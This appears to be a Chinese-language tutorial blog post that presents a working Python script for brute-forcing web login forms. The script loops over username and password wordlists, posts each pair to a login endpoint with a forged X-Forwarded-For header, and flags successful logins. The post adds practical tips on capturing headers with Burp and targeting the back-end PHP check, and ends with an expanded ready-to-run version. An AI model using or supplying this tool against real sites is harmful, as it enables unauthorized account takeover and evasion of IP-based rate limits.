咱们先上个简单的脚本,边看着代码边说
# 导入requests库,它允许你发送HTTP请求并处理服务器的响应
import requests
# 读取文件usr.txt中的内容,这通常包含多个用户名,每个用户名一行
use = open('usr.txt', 'r').read()
# 读取文件pwd.txt中的内容,这通常包含多个密码,每个密码一行
pwd = open('pwd.txt', 'r').read()
# 设置目标URL,这里是一个本地运行的web服务器上的登录页面
url = "http://127.0.0.1:80/login.php"
# 对usr.txt中的每一个用户名使用\n作为分隔符
for i in use.split('\n'):
# 对pwd.txt中的每一个密码使用\n作为分隔符
for n in pwd.split('\n'):
# 创建一个字典,其中包含登录表单的数据
payload = {
'username': i,
'password': n,
'login': ''}
# 创建一个字典,其中包含HTTP头部信息
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT)', # 模拟浏览器的User-Agent字符串
'X-Forwarded-For': '127.0.0.1'} # 指定伪造的客户端IP地址
# 使用POST方法向URL发送数据(payload),同时附带headers
r = requests.post(url, data=payload, headers=headers)
# 设置响应的编码方式为"utf-8",这样可以直接处理中文等非ASCII字符
r.encoding = "utf-8"
# 构建一个字符串,包含此次尝试的响应码、用户名、密码以及响应的长度
rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
# 打印构建好的字符串,用于监控每次尝试的结果
print(rr)
这就是一个简单的通过post请求爆破账号密码的脚本,使用的是python的requests模块的功能
具体工作流程:
- 读取用户名.密码文件,确定目标url
- 利用循环向目标url发送post表单
- 将返回包解码并判断返回的响应码,字节
- 输出结果
HTTP头的获取
- 咱们可以利用burp抓个包,把头文件放在
headers
列表中, - 有的浏览器插件(比如部分hackbar)也能看头
- F12管理员面板
HTTP头直接复制粘贴即可,(但有的网站的cookie有加密,亦或者是动态cookie,还有ip访问次数限制,但这里先不说这个)
post请求爆破
- 先抓一下登录功能的包,看一下要交几个参数变量
- 将相对应的变量放入payload列表中后利用for循环进行数据发送并捕捉回显
注意/改进
- 有的网站登录功能的前后端分开,(即login.html负责输入,login.php负责判断),这样的网站的爆破目标url需设置为php,因为php才是真实的判断登录是否成功的功能点,html只不过是一个媒介而已
- 响应文本若含有中文需要进行解码,可以通过查看源码获取页面的编码,通过xxx.encoding="编码方式"来进行解码,不然中文会乱码
- 将响应文本处理为,
响应码,字节,用户名,密码
等格式,也可以增加判断登录成功的条件,比如加入success列表,success=['登陆成功','欢迎','您好'],
等等等,通过any(x in success for x in r.text)来进行判断是否成功 - 增加使用自定义字典
增加相应的功能后的代码:
import requests
from time import sleep
import re
"""
爆破程序
1.读取用户名密码文件
2.读取url
3.爆破
4.输出结果
"""
print("=======================爆破程序准备中=======================")
success = ['欢迎回来', '登陆成功', '欢迎']
use = open('usr.txt', 'r').read()
pwd = open('pwd.txt', 'r').read()
url = "http://127.0.0.1:80/login.php"
sleep(0.5)
print("=========================开始爆破!=========================")
# sleep(0.5)
choice = input('选择爆破结果输出模式:\n a:输出全部结果 s:只输出成功结果\n')
for i in use.split('\n'):
for n in pwd.split('\n'):
# print(i,n)
payload = {
'username': i,
'password': n,
'login': ''}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT)',
'X-Forwarded-For': '127.0.0.1'}
r = requests.post(url, data=payload, headers=headers)
r.encoding = "utf-8"
if choice == "a":
rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
print(rr)
if choice == "s" and any(s in r.text for s in success):
print("=========================爆破成功!=========================")
rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
print(rr)
sleep(0.5)
input("=========================爆破结束!=========================\n按回车键退出")